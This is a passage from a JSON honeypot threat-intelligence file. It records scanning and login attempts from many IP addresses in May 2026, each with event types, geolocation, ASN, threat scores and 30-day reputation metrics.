        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 63.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.9,
        "persistence": 15.0,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 18,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-09T18:44:14+00:00",
        "last_seen_30d": "2026-05-26T20:59:53.858000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 120,
        "Ciscoasa": 14,
        "H0neytr4p": 11,
        "Cowrie": 6,
        "Honeytrap": 3
      }
    },
    "65.49.1.212": {
      "attack_count": 8,
      "first_seen": "2026-05-14T05:06:07.924Z",
      "last_seen": "2026-05-21T07:12:21.995Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T06:36:22.755000+00:00",
        "last_seen_30d": "2026-05-31T11:09:55.258000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 172,
        "Honeytrap": 72,
        "Cowrie": 8,
        "ConPot": 6,
        "Dionaea": 3,
        "ElasticPot": 2
      }
    },
    "76.14.131.158": {
      "attack_count": 8,
      "first_seen": "2026-05-06T02:20:09.097Z",
      "last_seen": "2026-05-06T02:28:12.717Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Loomis",
      "asn": 11404,
      "as_org": "Wave Broadband",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:20:09.097000+00:00",
        "last_seen_30d": "2026-05-06T02:29:22.113000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "116.129.255.173": {
      "attack_count": 6,
      "first_seen": "2026-05-29T12:13:33.253Z",
      "last_seen": "2026-05-29T12:15:34.944Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T12:13:33.253000+00:00",
        "last_seen_30d": "2026-05-29T12:25:38.029000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "185.247.137.160": {
      "attack_count": 6,
      "first_seen": "2026-05-06T16:37:48.867Z",
      "last_seen": "2026-05-06T16:37:51.903Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:37:48.867000+00:00",
        "last_seen_30d": "2026-05-06T16:47:51.497000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "186.226.60.155": {
      "attack_count": 6,
      "first_seen": "2026-05-14T05:08:28.212Z",
      "last_seen": "2026-05-14T05:08:34.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:08:28.212000+00:00",
        "last_seen_30d": "2026-05-14T05:09:43.399000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "5.230.77.9": {
      "attack_count": 6,
      "first_seen": "2026-05-07T15:50:10.927Z",
      "last_seen": "2026-05-07T15:50:13.563Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 12586,
      "as_org": "GHOSTnet GmbH",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T15:50:10.927000+00:00",
        "last_seen_30d": "2026-05-07T15:51:14.118000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "122.115.224.56": {
      "attack_count": 5,
      "first_seen": "2026-05-30T05:09:58.276Z",
      "last_seen": "2026-05-30T05:10:01.229Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "aovalle"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T05:09:58.276000+00:00",
        "last_seen_30d": "2026-05-30T05:11:04.362000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "103.112.214.114": {
      "attack_count": 4,
      "first_seen": "2026-05-21T16:48:28.752Z",
      "last_seen": "2026-05-22T02:51:37.509Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137172,
      "as_org": "ALL CONNECT NETWORK SERVICES PRIVATE LIMITED",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:48:28.752000+00:00",
        "last_seen_30d": "2026-05-22T02:52:45.404000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "104.194.147.43": {
      "attack_count": 4,
      "first_seen": "2026-05-24T01:03:15.260Z",
      "last_seen": "2026-05-24T01:03:20.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 198983,
      "as_org": "'Tornado Datacenter GmbH & Co. KG'",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:49:26.230000+00:00",
        "last_seen_30d": "2026-05-29T00:28:12.170000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4
      }
    },
    "180.131.167.125": {
      "attack_count": 4,
      "first_seen": "2026-05-06T14:36:14.953Z",
      "last_seen": "2026-05-22T23:28:50.463Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hung Hom",
      "asn": 9304,
      "as_org": "HGC Global Communications Limited",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T14:36:14.953000+00:00",
        "last_seen_30d": "2026-05-22T23:29:56.357000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "20.169.85.72": {
      "attack_count": 4,
      "first_seen": "2026-05-07T04:58:59.402Z",
      "last_seen": "2026-05-07T04:59:09.940Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 23.3,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 28,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:57:00+00:00",
        "last_seen_30d": "2026-05-29T14:08:13.159000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "205.210.31.43": {
      "attack_count": 4,
      "first_seen": "2026-05-05T10:29:41.897Z",
      "last_seen": "2026-05-05T10:29:45.068Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T12:13:40.566000+00:00",
        "last_seen_30d": "2026-05-31T20:02:30.332000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 14,
        "Cowrie": 4,
        "ConPot": 2,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "52.180.144.185": {
      "attack_count": 4,
      "first_seen": "2026-05-15T17:31:37.823Z",
      "last_seen": "2026-05-15T17:31:48.361Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 21.7,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 26,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T17:16:43.606000+00:00",
        "last_seen_30d": "2026-05-27T15:15:34.117000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 7,
        "Cowrie": 4
      }
    },
    "76.94.234.217": {
      "attack_count": 4,
      "first_seen": "2026-05-17T21:50:24.659Z",
      "last_seen": "2026-05-17T21:52:40.855Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Torrance",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T21:50:24.659000+00:00",
        "last_seen_30d": "2026-05-17T21:53:53.831000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "103.163.244.85": {
      "attack_count": 2,
      "first_seen": "2026-05-22T03:19:32.845Z",
      "last_seen": "2026-05-22T03:19:45.666Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Panipat",
      "asn": 132746,
      "as_org": "Infolink System",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:19:32.845000+00:00",
        "last_seen_30d": "2026-05-22T03:20:50.550000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.174.5.47": {
      "attack_count": 2,
      "first_seen": "2026-05-11T09:20:31.396Z",
      "last_seen": "2026-05-11T09:20:45.201Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rawalpindi",
      "asn": 150683,
      "as_org": "FASTTEL BROADBAND PRIVATE LIMITED",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:20:31.396000+00:00",
        "last_seen_30d": "2026-05-11T09:21:47.121000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.77.242.90": {
      "attack_count": 2,
      "first_seen": "2026-05-21T20:40:18.404Z",
      "last_seen": "2026-05-21T20:40:18.711Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150900,
      "as_org": "VPSMMO COMPANY LIMITED",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T20:27:31.625000+00:00",
        "last_seen_30d": "2026-05-21T20:41:19.718000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "115.205.244.88": {
      "attack_count": 2,
      "first_seen": "2026-05-15T05:12:47.270Z",
      "last_seen": "2026-05-15T05:13:00.345Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T05:12:47.270000+00:00",
        "last_seen_30d": "2026-05-15T05:14:08.769000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.201.125.124": {
      "attack_count": 2,
      "first_seen": "2026-05-11T06:55:21.590Z",
      "last_seen": "2026-05-11T06:55:52.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gyeongsan-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:55:21.590000+00:00",
        "last_seen_30d": "2026-05-11T06:57:01.062000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "119.73.59.64": {
      "attack_count": 2,
      "first_seen": "2026-05-04T06:29:32.664Z",
      "last_seen": "2026-05-04T06:29:45.409Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 58470,
      "as_org": "IX Peering for Mobilink and Link Direct International.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T06:29:32.664000+00:00",
        "last_seen_30d": "2026-05-04T06:30:50.740000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.235.207.143": {
      "attack_count": 2,
      "first_seen": "2026-05-28T05:43:53.352Z",
      "last_seen": "2026-05-28T05:44:06.715Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T05:43:53.352000+00:00",
        "last_seen_30d": "2026-05-28T05:45:13.620000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "146.190.81.25": {
      "attack_count": 2,
      "first_seen": "2026-05-18T12:13:06.320Z",
      "last_seen": "2026-05-18T12:13:06.550Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:13:06.320000+00:00",
        "last_seen_30d": "2026-05-18T21:55:33.387000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2
      }
    },
    "171.96.74.118": {
      "attack_count": 2,
      "first_seen": "2026-05-09T12:54:31.081Z",
      "last_seen": "2026-05-09T12:54:43.265Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:54:31.081000+00:00",
        "last_seen_30d": "2026-05-09T12:55:44.523000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.24.109": {
      "attack_count": 2,
      "first_seen": "2026-05-22T09:58:32.028Z",
      "last_seen": "2026-05-22T09:58:45.448Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:58:32.028000+00:00",
        "last_seen_30d": "2026-05-22T09:59:56.561000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.230.140.206": {
      "attack_count": 2,
      "first_seen": "2026-05-10T01:59:46.325Z",
      "last_seen": "2026-05-10T02:00:00.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Torre\u00f3n",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:59:46.325000+00:00",
        "last_seen_30d": "2026-05-10T02:01:12.852000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.119.228.72": {
      "attack_count": 2,
      "first_seen": "2026-05-11T01:41:02.418Z",
      "last_seen": "2026-05-11T01:41:03.644Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:41:02.418000+00:00",
        "last_seen_30d": "2026-05-11T01:42:08.989000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "186.137.16.44": {
      "attack_count": 2,
      "first_seen": "2026-05-25T20:27:56.809Z",
      "last_seen": "2026-05-25T20:27:59.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T20:27:56.809000+00:00",
